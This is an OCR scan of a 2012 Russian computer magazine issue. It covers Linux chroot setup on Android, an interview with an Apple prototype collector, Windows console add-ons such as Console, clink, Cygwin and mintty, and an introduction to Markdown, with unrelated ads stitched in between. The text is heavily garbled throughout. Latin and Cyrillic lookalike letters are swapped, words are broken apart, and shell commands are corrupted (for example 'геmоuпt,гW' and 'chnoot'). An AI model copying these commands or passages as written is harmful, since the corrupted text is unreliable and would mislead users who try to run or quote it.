Сразу редактируем конфиги и все, что нужно, по вкусу, включая правку /еtс/геsоlч.сопf по образцу из предыдущего раздела. 3апускаем эмулятор терминала (или выполняем <adb shell>l, rtонтируем все необходи1,{ое и переходиtt в сhrооt |почти так же.

каквслучаесUЬчпtчl:

* mount -о геmоuпt,гW /

# mkdiг /mnt/gentoo # mount /dev/block/mmcblk0p2 /mnt/gentoo # mount -t ргос ргос /mnt/ubuntu/pnoc

# # # #

mount mount

-t sysfs sysfs

,/mnt/ubuntu/sys

-о bind /dеV /mnt/ubuntu/dev

SySct1 -W пеt.iрV4.iр_fогwагd=1 chnoot ,/mnt/gentoo

[оступ к рабочему столу производится таким же способом, как в Ubuntu, за исключением того, что теперь прямо на телефоне придется собрать кучу софта :J. Впрочем, можно настроить среду для кросс-компиляции на компе, но это уже тема для отдельной статьи.

п ЗапустивtUЬuпtu

с использованием VNC-cepBepa, ты заметишь неторопливость его работы, которая связана с издержками протокола VNC на передачу картинки (<по сети>). Чтобы избежать этой

проблемы, можно установить Ubuntu в качестве основной системы рядом с Апdгоid, так, чтобы она смогла использовать видеоадаптер напрямую. К сожалению, универсального способа сделать это не существует. Каждое устройство по-своему уникально, включая различные таблицы разделов NАND-памяти, на которую производится установка, различные устройства и драйверы для их работы. К счастью, процесс установки нативной версии дистрибутива хорошо описан для многих устройств в русскоязычных форумах, поэтому найти инструкцию будет несложно. Стоит, тем не менее, сразу обратить внимание на несколько особенностей такого типа установки: 0тдельный или основной NАND-раздел. Liпuх-дистрибутив может бытьустановлен как в заблаговременно созданный раздел в NАND-памяти, так и в основной загрузочный раздел. В первом случае разработчик прошивки обычно оставляет возможность загрузки Апdгоid с помощью специального скрипта либо через загрузку Liпuх-дистрибутива в режиме восстановления, во втором он будетустановлен *вместо*Апdгоid и для возвращения возможности загрузки робота придется заново перепрошиватьустройство, Если Liпuх-дистрибутивбудет Возможностьдвойнойзагрузки. установлен на отдельный раздел, разработчик может оставить возможность за грузк и Ап d гоid, 0дна ко сто ит сразу обратить в н и -

.

.

н ие, ка к эта за грузка п рOи сходит: с п 0м0 щь ю режи ма вOсста новления либо скрипта, запускаемого с обычного компа. Все-таки второй способ будет неудобен в дороге. Поддержка оборудования. 0ригинальное Liпчх-ядро Апdгоidпрошивки уже включает в себя все необходимыедрайверы, которые могут понадобиться для работы полноценной Liпuх-системы, одна ко дал еко н е во всех Lin u х- п ро ш ивках все за ведется са мо

ма

.

собой. Часто возникают проблемы сWi-Fi-адаптером и сенсорным экраном, который неадекватно реагирует на прикосновения. Поэтому передустановкой прошивки стOит вни}пательно прочитать информацию о возможных осложнениях, В любом случае будь готов к тому, что во время установки Linuxдистрибутива все твои данные будут уничтожены. Без этого никак.

Liпuх-дистрибутив, установленный рядоь4 с оригинальной Апdгоidсистемой, может стать очень удобным рабочим инструментом, однако на данный MoMeHT.Linux внутри Апdrоid" считается скорее игрушкой и способом покрасоваться перед друзьями, нежели серьезным решением. Уверен, что в скором времени, когда для Апdгоid появится полноценная реализация графического сервера Wayland, ситуация начнет меняться и мы увидим дистрибутивы с адаптированным для небольших экранов интерфейсом. а также полноценные Linuxприложения, распространяемые в форме обычных АРК-пакетов. Такв его рамках же не стоит забывать о проекте <Ubuntu fог Апdгоid" идет работа над официальным портом Ubuntu для Апdгоid, который позволит использовать смартфон в качестве переносного системника, подключаемого к любому монитору.

-

Е

r

прOвЕркА рАБOты

О goo,gUlJQ0e3 0писание процес(а

НЕОБХОДИМЫХ МOДУЛЕЙ

образа Ubuntu

Имей в виду, что поддержка lоорЬасk-устройств и файловых систем ехt2/ехtЗ, необходимых

для подключения образа, имеется далеко не во всех ядрах Linux, установленных на смартфонах под управлением Android. Проверить наличие поддержки можно с помоlцью команды lsmod l 9гер -е loop -e ext2.

-

подготовки

собственныffи

силами lHa ахглийском|.

,N хлкЕ?

09 /1ь1,/ 2012


Ргеviеw

страниц на одной полосе. Тизер некоторых статей. 26

PcZONE

З8

прOтOтипы 0TAPPLE Игровая консоль, компьютер со встроен-

-

ным фа ксом, платежный терми нал что у этих п редметов? Правил ьно, всё

общего

-

п родукты Аррlе, которы е та к ни когэто да и не попал и на ры нок. ][ пообщал ся с коллекциOнерOм, специализирующимся

на прототипах

"яблочнойrтехники,

и

одготовил для тебя рассказ о сам ых интересн ых экспонатах. Как показывает п

истOрия, мOжет настать мOмент, кOгда Аррlе реш ит вернуться к одвой из сволх идей , *та к уже получ илось с пла ншета ми и ТВ-п риста вкам и. 0днако, п рочита в этот репортаж, ты уже не будеш ь удивляться, есл и в Купертино вдруг решат за

ново изобрести, скажем, факс. Всё это

уже где-то было.

PczONE

11

жизньвкOнсOлиWlilDOws Сmd.ехе-этонедиагноз,сэтимвполне можно и нужно бороться. Как именно,ты узнаешь из обзора различных надстроек для стандартной консоли Windows.

взлOм

в3л0].{

48

знАк01,1ься, эт0 tlARKDOwt{ Метаязыкверсткинавсеслучаижизни позволиттебе писать статьи, вести блог и

создавать целые сайты с помощью

прOстOгOтекстOвOг0

редактOра,

57

С^ГА 0 КРИПТОСТОЙКИХ ПАРОЛЯХ Статья

о том, как за щитить хеш и паролеей отбанального брутфорса на дешевой видеокарте и не наступать на теже грабли, что и Linkedln.

1,1ALWARE

t7 тт

66

sOL_инъЕкции чЕрЕз Dlls Авторsqlmаррассказываетотом,как с

помOщью ег0 дети ща и выделеннOго

произвOдить слепые инъекции за намног0 меньшее время.

сер вера можн о

хдкЁр

09 11b/.l

2g12

FЕ5тl:злоБный

и

БЕ(тЕлЕсный

Рассматри ваем под микроскопом руткит Festi, известный инструмент для проведения спам-рассылок и D DoS-aTaK.

пойнАй }iЕня. Если сможЕшь 0писаниетехнологии, способной сокрыть файлы руткита от сигнатурных проверокантивирусов вусловиях Windows 7 и выше.


рсzоNЕ

Евгений (РiпkегаtоrD Колпаков lЗ.]4пkеrаtогВgmаi

.coml

.i!

Прототипьl r,,? -__

a ?-_-

--

,1 \/\

-_/

,l998-2000

"

0кА3ЬlВАЕтся, В яБлочнOи кO]t{пАНии рАзрАБOтАли нЕ тольк0 IPHONE, l},lAc и IPAD! Apple стремительно овладевает умами пользователей. И ладно бы пользователей даже в нашем журнале, оплOте хардкора и цитадели здрав0мыслия, почти все пересели на аЙфоны, а у нашего Step'a

так и вOвсе в наличии имеется MacBook! Наверное, и у тебя что-то такOе есть, пOэтому мы подготовили тебе не обзор новогЬ аЙфона и его многочисленных убийц, а кое-что покруче; список прототипов от компании AppleI 038

Большая часть из представленных прототипов хранятся в частной коллекции,Д,жима Эбелса {Jim Abeles]. Мы связались с ним и попросили рассказать 0 ег0 кOллекции.

fЕ: 3дравствуйте, [жим!

Расскажите о себе - где х<ивете, где работаете, чем эаниtqаетесь? J. А.: Я живу в Портленде, штат 0регон, где управляю компанией Рrе1 Sоftwаге, которую основал в конце 90-х. Когда вы начали коллекционировать про=!: тотипы от Apple? Какилl был самый первый экспонат в коллекции? J. А.:.Мой первый lt4acintosh был подарком родителей к окончанию колледжа, Это был Macintosh SE с двумя флоппи-дисководами, но без внутреннего жесткого диска. Было бы тOгда мOя кOллекция здOрOв0 сOхранить ег0 мотла начаться еце в 1987 году. К сожалению, т0- кOмпью-ер я давн0 прOдал,

Примерно в 2001 году мне снова захотелось увидеть на столе Macintosh SE и я купил один из них просто для развлечения. Затем я прио6рел Macintosh Plus, и в какой-то момент люди прOст0 начали принOсить мне свOи старые lrуас-компьютеры. П рошло некоторое время, пои я пOнял, что хочу чего-то большего лучить действительно необычные продукты от Аррlе в свою коллекцию. ,Д,ля начала я rашел раритетный вариант Bell & Howe l Apple ll, который в lаOоде прозвали Dагth Vаdеr [gээ-сtL/ТYхqч). Затем в коллекцию добавилась Аррlе Lisa 1 с двумя дисководами под 5,25", и дело стало набирать обо роты,

В какой-то момент я столкнулся с самыми редкими мOделями - прототипами. Как правило, это были серьезно ограниченные выпуски устройств, число которых могло быть меньше десятка в0 всем мире. При этом часть протOтипOв п0 разным причинам не дOживала д0 официального выпуска в продажу.

хлкЕр

09 /1ьц/ 2012


Прототипы

:Ei

Все ли они работаю1 или часть прототипов не включается?

пOдарить их мне.

!ругие, к счастью, работают, и в них хорошо заметн0 прикоснOвение руки прOграммистOв и инженеров Apple. Некоторые из прототипов iPhone'oB, iPad'oB и iPod'oB содержат программное обеспечение, которое не было рассчитано на публичный показ. В нем хорошо прOслеживается индивидуальнOсть и даже чувство юмора создателей.

Е:

Вы коллекционируете

Apple или другие

только продукцию

фир}.|ы тоже интересны?

J. А.: Какое-то время я коллекционировал и неяблочные прототипы. а также необычные компьютеры вроде ll,/SAl 8080 и Аltаiг 8080, но меня они не сильно привлекали. Плюс от всей этой техники дома стало тесновато. НагрOмождение старых компьютерOв, принтеров и периферии становилось пугающим. Теперь в моей коллекции только прототипы от Аррlе и 0тнOсящихся к ее истории компаний вроде NeXT (которую Джобс основал после ухода из Applel или Ве lпсогрогаtеd lкомпания бывшего исполнительного директора Аррlе Соmрutеrs Жана-Луи Гассье, создатели BeOS].

Е:

Что у вас еGть интересного в коллекции? Расскаlt<ите про cart ые энач иl.i ые экспонаты. J. А.: flля меня самые ценные прототипы устройств -те, что так и не поступили в продажу. Концепты вроде W.A.L,T. lWizzy Active Lifetyle Tablet как раз такой весной продали за 8000 долларов на еВау). Bic Newton и Cadillac Newton, Самое интересное, что все это мобильные устройства. Вот почему я люблю их сильнее других именно эти

-

-

-

прототипы были прадедушками знаменитых iphone и ipad.

-

В чем отличия от финальных версий в ц8ете корпуса или вы замечали что-

=: просто

то интересное внутри? J.А.з Самые необычные

- это прототипы с прозрачными корпусами. 0ни позволяли инженерам видеть, как компоненты нового устройства сочетаются внутри корпуса. Какие места сильнее греются, а где пробежала искра все это могло повлиять на финальную форму корпуса и расположение деталей на печатных платах. Также в своих прототипах Apple использовала разноцвётные печатные платы, а многие элементы внутри были подписаны вручную.

-

Надпись.прототип>

или предупредительная

табличка, что устройство не было одобрено ЕСС [Федеральная комиссия по свЯзи) и не предназначено для продажи, это обычное дело,

-

х^кЕр 09/164lrп12

Т: Какой из прототипов

fE: Перед сi{ертью Стив Джобс

не успел закончить работу над телевизороlil нового поколения. Как вы думаете что получится иэ этой идеи и как будет выrлядеть новыЙ продукт? Интеграция с iOS, запуск игр на больlлоl,{ экране или что-то больщее? J. А.: Xal Хотел бы я знать. lr4He кажется, это будет светодиодный телевизор с iOS и управлением через Siгi. Apple уже доминирует на рынке музыки и сотовых телефонов, но пока не добралась до рынка телевизоров и домашних развлечений. Я надеюсь, она добьется успеха, а я пOлучу в коллекцию парOчку нOвых пр0тOтипов, выскользнувших на волю из яблочнь х лабораториЙ.

-

был саlilыl,ii дороги}l.

сколько вы обычно платите за них и где покупаете через еВау? Быть может, какой-то из прототипов вам просто подарили? J. А.: Некоторые экземпляры стоят очень доцены доходят до тысяч долларов! Но рого мне частенько везет. Есть множество бывших сотрудников Аррlе, которые продают мне прототипы за смешные деньги.,Д,ля них важна не прибыль они просто хотят, чтобы устройства пOпали в руки к коллекционеру, который может о них позаботиться. Чтобы частички истории Аррlе не ушли в небытие. 0дин из самых ценных прототипов Apple Paladin мне бесплатно отдал бывший инженер из Аррlе. Вообще, если говорить об источниках, часть коллекции я купил на еВау, часть на Сгаigslist, что-то удалось отыскать среди

-

-

-

-

Ар ple

-

ко

м

ью

н

ити.

ti

Рассках(ите про прототип игровой приот Apple. Удалось ли Bal.i во что-нибудь на Hei{ поиграть? J. А.: fla, я включал Pippin и даже играл на нем| Прошло уже пять лет с того момента, и сейчас я даже не вспOмню ег0 технические характеристики. Если честно, понятно, почему эта приставка провалилась. Oна была дико устаревшей уже на мOмент выхOда и сOвершенн0 непривлекательной по сравнению с конкурентами. Oна выглядела просто ужасно и тормозила!

ставки Pippin

Е:

Что иэ актуальных продуктов Apple lHe прототиповl вы используете? Или. l,,|ожет быть, даже пользуетесь чем-то из своей коллекции прототипов? J.А.з Единственный прототип, которым я пользуюсь, это РоwегМас G4 Тоwег. Использую его как домашний сервер для музыки и фильмов. В остальном я стараюсь покупать последние новинки от Apple: 17" MacBook Рго для дома и работы, пара Аррlе TV, iPhone 45 и iPad 2.

-

Фотографии публикуются с разрешения Jim Abeles, Рге1 Sоftwаге. Часть фотографий публикуется с разрешения Вruсе Dаmег, DigiВагп Соmрutег Mu5eum [digibarn,com/col ections/index,htm ). Автор фотографий прототипа iPad пользователь aaps69 с еВау.

-

Есть ли какой-то прототип, который вам на данный liloi{eHT можно считать заверЩенной? J. А.: Я бы хотел найти Macintosh SE в прозрачном корпусе. Как и другие подобные прототипы, кOмпьютер дOлжен существOвать примерно в десяти экземплярах. Этот экземпляр особенн0 важен для меня именно эта модель была моим первым Аррlе-компьютером. Здесь в 0регоне хранится один такой у бывшего инженера из Аррlе, но он просит 5000 долларов, а я сейчас не могу себе позволить такие траты.

=: хочется найти, или коллекцию

-

Е:

Не дуiiаете ли вы о возrtожности открыть муэей Apple в будушем? J. А.: Когда-нибудь я надеюсь открыть свой музей, где люди смогут посмотреть и даже

Apple

пOтрогать все эти прототипы. Сейчас у меня больше ста устройств в коллекции, и доtr,lа пр0сто нет подходящей комнаты, чтобы сделать выставочный зал. Большинство из них просто лежат в коробках, и это совсем не похоже на музейные условия. В Калифорнии уже есть компьютерный музей, и я надеюсь, что в какой-то момент откроют такой же музей в Портленде, бы с удовольствием выставлял в нем свOю коллекцию.

J. А.: Печально, но некоторые из самых раритетных экземплярOв даже не включаются. Быть может, именно поэтому их хозяева решили избавиться от ненужного желеэа и

На мокент написания статьи, Jim Abeles работал в своей фирме, которую lЗ лет назад основал. А на момент сдачи ее в печатьон...ушел lз фирмы итеперь работаетофицером полиции

от

.(


Pczol{E

Apple lnteractive TeIevision

Apple Cadillac Прототип в прозрачном корпусе. Зто сейчас Аррlе занимает лидирующие позиции в секторе мобильных устройств, а ведь когда-то она только начинала экспериментиров это время !жобс не работал вать в этой области. Прототип датирован ']992 годом в Apple и разработка устройств шла без его участия. Именно поэтому можно заметить их на дух не переносил.,Ща и съемные на корпусе Cadillac прорезь для стилуса -,Д,жобс аккумуляторы на мобильных устройствах при нем сложно вспомнить.

Прототип этой приставки для просмотра ТВ достаточно массово тестировали в США и Европе в 1994-1995 годах. В итоге его быстро свернули, и сейчас многие продают свои прототипы через еВау. Устройство получило развитие только в 2007 году и в настоящее время продается под названием Аррlе TV.

-

Apple W.A.L.T. ltUizzy Active

Lifestyle

Telephonel Apple iPhone 2G

t

0чередной эксперимент среди электронных устройств. Аррlе впервые продемонстрировала его на Масwогld Boston в 199З году, но так никогда и не выпустила в продажу, По идее, его нужно было подключать к телефонной линии и использовать в роли <умного, телефона. 0пять же подразумевалOсь управление при пOмOщи стилуса.

Apple ilеwtоп Bic -

Еще один шаг на пути к созданию iPad 1994 год. Все еще со стилусом, все еще с0 сменными истOчниками питания. кожаный чехол. вместо smагt Сочеr

-


Прототипы

от

Аррlе

iPad Прототип первого iPad, который внезапно всплыл весной этого года на еВау. Устройство поставлялось без аккумулятора, да и внешний вид слегка отличался от финального варианта. Главная особенность-у планшета было сразу один, классический, два пOрта для зарядки снизу и еще один сбоку. Логика такого решения дOвольно простая устройство можно за-

ряжатьи

-

в гOризOнтальнOм

и ввертикальном

положении так, чтобы провод не мешал рукам. Вместо знакомой iOS мы видим на экране тестOвую прошивку для проверки всех функций устройства.

Прототип нашел своего нового владельца за 10 200 долларов.

Apple РоwеrВооk 5300 На корпусе можно заметить пометки (прототип>, а сам в тот момент назывался <РоwеrВооk ХХХХ>.

ноутбук

l

ý.

Apple Раlаdiп Прототип офисной мечты, В нем собрали практически все копир и даже -телефон, факс, компьютер. Внешняя клавиатура с трекболом в кOмплекте.

I

}-liko

это совместная разработка Apple и King, Ее название _ сокращение от MaclnsidekingOutside. Изображенное на картинке устройство это прототип терминала вроде платежных Qiwi, которые сейчас стоят практически s каждом магазине. наличие тачскрина, полноценная операционная система Мас os и необычная ве6камера за пределами кOрпуса вот ее главные особенности. Если учесть, что сейчас Apple лостепенно скрешивает Мас 0s и ios, то управление Мас os при помощи пальцев скоро cHoBd может стать реальностью. Miko

,i*a"

-

о, trro, rn

-

,

-


дlпшtrнtrп ит

ипотЕкА кМонолит

плюсD

активно

работает

с веду-

lцими банками по программам ипотечнок) крqдитования. Особое внимание уделяется правовой заlциtценности клиентов, приобретателей жилья и нежиль]х помеlцений.

микрорАЙон Nе4 городА королЕвА _ это пять новых соврЕмЕн ньж м ногоэтА)(ньlх змн иЙ с подзЕп/lны ми АвтостоянкАми. оБlцАя плоlцАдь домов _ l4o ооо кв.м., пЕрвыЕ этА)lш Будут отвЕдЕны для оБъЕктов социАльно БЫТОВОГО НА3НАЧЕНИЯ: МАГА3ИНЫ, АПТЕКИ, ПРЕДПРИЯТИЯ БЫТА, МЕДИЦИНСКИЕ УЧРЕЖДЕНИЯ.

ll

Дll

ДОПОЛНИТЕЛЬНУЮ ИНФОРiiАЦИЮ О ПРОДАЖЕ КВАРТИР В ЖК tНА ВЫGОТЕu ]io)t(Ho получить в оФисЕ промж ко1,1пАнии смонолпт плюGя

_


КОМПАНИЯ (МОНОЛИТ ПЛК)Gп (ВХОДИТ В СОСТАВ

группы компАниЙ кМоllоЛl,tТlll прЕдстАвляЕт ЖИЛОЙ

КОМПЛЕКС

КНА ВЫСОТЕD,

РАСПОЛОЖЕННЫЙ

ПРАКТИЧЕСКИ В ЦЕНТРАЛЬНОЙ ЧАGТИ ГОРОМ

королЕвА _ мкр.4 в грАниIцх ул. мАтросовА, ул. строитЕлЕЙ, ул. дЕшБристов.

Микрорайон Ns4 - географический центр г. Королёва, Строительство домов ведётся по индивидуальному проекry. В шаговой досryпности от данного адреса находится гипермаркеты и супермаркеты известных брендов (Перекрёсток, Ковчег и т.д.), а так же предприятия сфер услу[ досуговые центры (кафе, рестораны), и центральный floM кульryры.

-sы

Уже давно Королев имеет славу города, где можно получить очень качественное образование: обилие специализированных школ, творческих центров и школ искусств, богатые фонды библиотек, известные Вузы в черте города - все это определяет атмосферу научной сосрегорожан.

и

творчества

.l,/:t..,_rr..": 1ц1,-

}п 9: ,llll rr] _il llll ;i_3 lдl-tiil JllI

сайте www.gk-monolit.ru

доточенности

lFl 1r l 1,,lit, п'r !г: lil д*

Пýп

С подробными схемами планировок квартир и проектной декларацией можно ознакомиться на

I1

ýlb:-

l 'll

ffiffiffi :il,

$l

]

]

]

,,,,:

]

]

х

'J

il

i,

I

1

I

iT

|,

]

J

п

i] .3

.t}.

,$

'il,

т

Дrr

H""ýffiH,"'jla:'o]

г' коРолЕв'

(495) 516-40_04


=-?.

'': ?,э!.#1 fi":"iщa, :

|

:'

,

| |!

i..|.

1,-"1,

Pczol{E

reньвKoHCorIи,.. АпгрЕЙдьl для c},lD.ExE и АльтЕрнАтивьl Windows неудобна. В ней нет нормального copy-paste, поменять размер окна. Кроме того, в самой даже windows маловато консольных инструментов, и любители текстового режима, возможно, захотят получить доступ к мощному окружению UNlX. Щля этого тоже есть свои решения.

стандартная коN4андная строка нет возможности по-человечески нет вкладок и

Будем честны

хАкЕР 0'

/]/./.i 20]2


жизнь

f

iсгоsоft не сильно заботит судьба командной строки. Оно и понятно: для большинства людей это совершенно бесполезная часть системы. К счастью, есть энтузиасты, не поленившиеся превратить стандатный cmd.exe в инструмен1 который действительно можно использOвать.

сONSOLE

рlOжно сOздАвАть прЕд_ НАСТРOЕННЫЕ ВКЛАДКИ И п рописывАть KOpl БинАци и к01.{АНд, KOTOPЬIE БУдУт BblполнЕны при их 0ткрьlтии

.

sоuгсеfогgе.пеt/ргоjесts/сопsоlе Сперва рассмотрим решения для тех, кто выживает под командной строкой windows, но при этом не испытывает нужды связываться с виртуализацией или +пiх-утилитамиl а главное не желает платитьI Словом, начнем с самого простого и доступного. Проект с незамысловатым названием Сопsоlе, пожалуй, самая крутая и функциональная разработка для оптимизации cmd в Windows на данный момент. В отличие от родной оболочки системы. console призвана быть удобной, понятной и предусматривает все те мелOчи, кOтOрых мнOгим так не хватает, например, после работы с Linux или Мас, Нагляднее всего будет просто перечислить ключевые фишки

.

софти н ы: Можно создавать множество вкладок командной строки окне, с индикацией активности фоновой вкладки.

. .

. . . . .

в

платно. Заметим, что, поработав с Сопsоlе хотя бы раз, уже сложно представить себе работу без нее. К сожалению, некоторые пользо-

ватели жалуются на скорость работы программы. кстати, для тех, кто больше доверяет платным и серьезным решениям, есть очень похожая на console альтернатива роwегсmd (роwегсmd.соm). По console и

-

функциональности роwегсmd схожи, только у последней различных (свистелок>

одном

.

удобств еще больше:

lr4ожноналетуизменятьразмерокна, какхочется,текстбудет автOматически подгоняться под новый размер. Имеется функция copy-paste, а значит, можно спокойно копипастить информациютуда-сюда, как в обычном текстовом редакторе (выделить мышью нужный фрагмент можно, зажав клавишу

.

строить их сглажи

на

ва

н

ие

в

плоть до

Сl еа

гТуре,

интерфейса: меняется фон,

щрифты, нумеруются

Можнозапоминатьразмерокнаипозициюнаэкране-при

каждоt{ запуске конфигурация будетта, что нужна пользователю. прозрачность окна также имеется и настраивается, но реализована страннO-в0 мнOгих случаяхтекстстановится нечитаемым. Работают всевозможные комбинации клавиш, которые можно

0днозначно оправдать ценник в З0 долларов у Роwегсmd я не при желании console можно расщирить до нужного уровня, да и упирается все в кOнечном счете в конкретные потребности

настроить под себя. Можносоздаватьпреднастроенные вкладки и прописыватькомбинации команд, которые будут выполнены при открытии данной вкладки, Есть возможность подключения других интерпретаторов (bash и прочие) -а значит, и запускать сценарии на этих языках.

могу-

п

0л ьз

0вател я.

CLlNK iin

k

к самым простым апгрейдам можно отнести еще один совсем маленький хак 0реп sоuгсе утилиту clink, которая способна значительн0 расширить возможности интерпретатора командной строки cmd.exe. ,Щело в том, что clink использует библиотеку

разумеется, это далеко не полный перечень того, что умеет Console, но остальные нюансы лучше познавать на деле, тем более чт0 прOграмма распространяется свободно и совершенно бес-

-

lёJl-1 ltbi' aоп5о

console

-

хлкЕр

о9 l1b1,1 2012

*ьl*аБ

g pcIelsbe

бесплатная

и

продуtrанная д0 йелочей альтернатива

Фв -mЕпЕfrЕЕ

родной консоли

нетолько

виде вкладок, но и в виде областей одного экрана. При этом м 0жн0 разм естить до четы рех те рм и налов. lйожновестилоги вводимых коl,.4анд, искатьпо ним. Можно запоминать пути и папки в виде избранного с занесением в

. . избранныезакладки. Предусмотрены различные настройки изменяются . Поддерживается автодололнение.строки. .,Щ,оступна подсветка синтаксиса. . Естьвозможностьзапоминатьактивныесессии.

вставить-черезтулбар или через менюl. Естьвозможностьвыбиратьлюбойиздоступныхдля консоли ифтов и

Сильнаясторона-возможностьрасполагатьконсоли

и

в

<Shift>, а ш р

в консоли windows

--,_rEЁ ш rii.aEOt

]Е*щ

,il, @ф о, @р l*

Ебъьq

по сравненхю с console, powercmd имеет множество дополнхтельных плюще(


PcZONE геаdliпе, которая создана и поддерживается в рамках прOекта GNU и обеспечивает интерфейс командной строки и обработку строк в bash. После установки clink интерпретатор cmd.exe фактически ведет себя как командная оболочка bash со всеми ее продвинутыми функциями: автодополнением командной строки, редактированием,-историей команд и так далее. Перечислять весь список новых возможностей cmd не стану, приведу только некоторые особенности: удобное автодополнение путей {нажатием .TABrJ; вставкаизбУфераобмена (постандартномухоткею:<Сtгl>-Vl; поддержка автодополнения при указании исполняемых файлов/ кOманд и переменных 0кружения; . функции Undo/Redo l<Сtгl>- или <Сtгl>-Х, <Сtгl>-UJ; улучшенная история командной строки; сохранение предыдущих сессий;

. .

.

. . . . .

поиск по истории (<сtгl>-R и <Ctrl>-S]; расширенная история {например, !!, !<stгiпg< и !$]; скрипты автодополнения на Lua, позволяюu]ие серьезн0 сэкOномить время.

cyqwin

с

запуlценным xclock

и

}.lidпight Соmmапdеr

CYGWlN сYgrryц.с-а!0

Ну и в заключение хотелось бы напомнить тебе о еще одном полезнейшем инструменте, хотя его и нельзя назвать <простой оптимизацией сmd".,Д,анное решение пригодится тем, кто желает объединить возможности Linux и Windows, или тем, кто по какимто причинам не может установить Liпuх на своем компе, но в нем

нуждается. Конечно, большинство наших читателей уже догадались, о чем речь, ведь они наверняка знакомы со старым добрым Cygwin, но не лишнее. вспOмнить 0 нем еще раз это UNlХ-подобная среда и интерфейс командной Cygwin строки для Windows, позволяющая объединить Windows и UNlX без использования виртуализации [что немаловажно|. По сути, *пiх, портированных на это не что иное, как набор утилит из мира Windows. Что конкретно устанавливать помимо базовой системы, выбор огромен. Но так как мы секаждый решает сам для себя годня занимаемся оптимизацией командной строки, нас интересует именно этот аспект Cygwin, В общем-то, Суgwiп превращает командную строку в удобный UNlХ-терминал, к какому привыкли поклонники Linux и Мас. Все UNlХ-команды, которые тебе знакомы, прекрасным образом будут работать и здесь, так же, как работают и многие никсовые утилиты. 0днако сама командная оболочка, увы, остается практически без изменений. Cygwin решает проблему отсутствия команд и синтаксиса, но удобство работы все равно оставляет желать jiучшего. Следующий совет поможет разобраться и с этой задачей.

-

-

Ореп

ctl-]ný

сору

5hifttln!

-

ь

тd

тфм

sеlёdАll

cdeý

lF".g*,dl ls"*r",,dJ Г о*.-

ГЬ"i-l

mintty

-удобная

sizё FullsсrФ FliP s(rё.п Defauh

off Low [Ъd, Нф sý ;фщh+йfФ$d с

h fu( Г]ffiщ

L-

R.sёt

l

9

Аh+t8

Alt+пo

Аt*П1 Аh.П2

thdёsооЕ

ГЩГс","d--lГ

А."ь,

l

надстройка

MlNTTY о g le.co m,/о/m lntty Если ты используешь Cygwin или MSYS/MInGW, тебе точно пригодится mintty. Как мы уже выяснили, чаще всего людям в работе с командной строкой не хватает самого элементарного: удобного выделения

cod е.9о

r

рАlцАЕт к01,1Андную строку в удоБныЙ U],llx-

cYGWl }l

п рЕ в

ТЕР].{ИНАЛ, К KAKO]uIY ПРИВЫКли поклOНники L|шUX и ].iAC одб

текста, функции copy,paste, настроек прозрачнOсти 0кна и так далее. А значит, нужна новая программа-терминал. Mintty - одно из самых популярных и удобных решений в этой области. N4intty, так же как и Сопsоlе, о которой речь шла в начале, призвана оптимизировать работу командной строки. Функциональность этих двух софтин весьма схожа, правда, mintty, к сожалению, не поддерживает табы, Если же наличие или отсутствие вкладок некритично, на mintty точно стоит обратить внимание, потому что 0на предOставляет: удобный copy-past;

. . . . .

функциюdга9& drордлятекста,файловилидиректорий; возможность открывать ссылки по <Сtгl>+клик; полноэкранный режим и прозрачностьдляwiпdоwsvistа и7; поддержку различных кодировок, включая UТF-8, а также многое, многое другое,

Е

хАкЕр

09 /]641 2012


ъ

до 3ff сЕнтяБря

всЕм дЕржАтЕлям ..Мужской прЕдостАвляЕтся

{

0%

кдрты>>

СКИДI{A

НА НОВУЮ КОЛЛЕКЦИЮ В СЕТИ МАГАЗИНОВ

цоу&свштlвмдшСlW. ПОДРОБНОСТИ НА

www.mапсаrd.rч

млхIм ЙУЖСКОЙ

ЖУРН^!Д

оАо

С

ИНЕНЕЙ

"Альфа-Банк".

А -

Апь#а.

Банк tgаmеl

Генеральная лицензия банка России на осущесrвление

:' i:, {_ :_

банковских операций от 05.0З.2012 NSlЗ26''


PcZONE

з

э

Антон Жуков lantitsteгBgmall,comJ

накомься.

то Markdown

используЕм хАкЕрский язьlк рАз},lЕтки для сАмых рАзньlх зАдАч Пожалуй, главным открытием за последнее время для меня стала не какая-т0 нOвая технология или новый удобный сервис, а... язык разметки. Казалось бы, что здесь может быть примечательного? Только если речь идет не о Магkdоwп. Простая идея, как можно оформить текст и превратить его в валидный HTML, выстрелила настольк0, чт0 использовать его можн.о практически повсеместно. А благодаря популярности Магkdоwп в хакерских кругах, появился еще и совершенно новый подход [и сервисы) к публикации контента, в основе которого лежат статические файлы. 048

MARKDOWN? чт0 эт0?

Легче всего смысл Магkdоwп объяснить на простейшем примере. ,Щля составления списка дел я использую обычный текстовый файл, в котором пишу:

Список дел: - написать статью о Maгkdown

-

сделать

иллюстрации

отправить в редакцию

Каждый из нас умеет оформлять сложные структуры в простом plain text'e, и в этом основной смысл 1,4аrkdоwп. Например, приведенный текст можно сразу сконвертировать в HTML, при этом интерпретатор Маrkdоwп lскажем, реализованнь й в виде плагина к текстовому редактору вроде SublimeText или Notepad++] сам расПOЗНаеТ, ЧТ0 ИМееТ ДеЛ0 С НеНУМеРOВаННЫМ

СПИСКOlt4:

<р>Список дел: </р>

хАкЕр

09 /]641 2012


знакомься. Это Магkdоwп

)

ll I в

lп,@

-

о!].,,=-

1.ý

J

f]

3аголовок

заголовок

3аголовок

Подзаlоловок

Подзаголовок

ползаго"цовок 1- что то в!дел,ть "хирнtм"

ЕЭТоIабэацеяl;но

и

Возйохно, самый функциональный

редактор для windoW9

<uI>

в

# заголовок ## Подзаголовок

В этом абзаце нухно:

1. что-то выделить **жирным** и *курсивом* 2. поставить ссылку на сайт автора - [Dагiпg FlгеЬаl1]

З.

( http : / /da гi пgfirеЬа I1 . net ) процитировать кодJ например, и вставить портрет автора

'рпlпt

! [flxoH Грубер] ( http: //dагiпgfiгеЬа11 addison-bW-425.jpg)

.

"Не].1о, WoгId!'''

net/gгaphics/authon/

В этом примере хорошо видно, насколько читабельным остается текст. Фактически очевидного решения не придумали только для

вставки ссылOк и картинOк, плюс изначально язык не позволял определить масштаб изображения. В результате обработки интерпретатOрOм на выхOде мы пOлучаем готовый код:

головок< /h1 > головок< /h2 > <р>В этом абзаце нужно:</р> <

h1 >За

<

h2 >Подза

<о1> <

li

>что-то выделить < stпопg>хирным</stгопg>

и

<еm>курсивом</еm></1i>

<1i>поставить ссылку на сайт автора - <а hгef=''http:// dагiпgfi геЬаlt. net" >Dапlпg Fineba11</a></1i> <li>процитировать кодl например, <code>pnint''Неllо, wогld! "</code></J,i>

хлкЕр

09 /1ь/,/ 2D12

l,,lac

os х

